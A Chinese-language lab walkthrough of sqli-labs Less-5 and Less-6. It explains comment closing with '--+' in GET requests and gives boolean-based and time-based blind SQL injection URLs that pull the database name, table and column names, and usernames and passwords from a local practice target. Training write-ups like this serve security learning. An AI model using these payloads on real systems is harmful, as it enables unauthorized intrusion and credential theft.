1.# 和 – (有个空格)表示注释,可以使它们后面的语句不被执行。在url中,如果是get请求**(记住是get请求,也就是我们在浏览器中输入的url)** ,解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用–+的方式来闭合,因为+会被解释成空格。
.
2.当然,也可以使用–%20,把空格转换为urlencode编码格式,也不会报错。同理把#变成%23,也不报错
。
less
less 5 布尔注入
爆数据库名:http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20left(database(),1)>'r'--+
二分法尝试首字母,大于r有回显,大于s无回显,故库名是s开头
大于d有 小于e无:http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20left(database(),2)%3E%27sd%27--+
或者使用burp工具对参数爆破:
最小长度1,最大长度1,将26个字母逐个burp
省略。。。。
最终可得数据库名为:security
爆表名:http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E101--+
从上到下,从左到右,ascii码依次对应 users ,即表名
尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中
http://127.0.0.1/sqli-labs-master/Less-5/?id=1 %27%20and%20if(left((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users %27%20limit%203,1),8)=%27password%27%20,sleep(5),1)--+
在limit3,1回显成功,即第四列有字段password
同理查询到usename字段名
同理查询字段的值:
查询用户名dump:?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
查询密码dump:?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
或者逐位布尔判断:/Less-5/?id=1%27 and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
less 6
单引换双引号,其余操作相同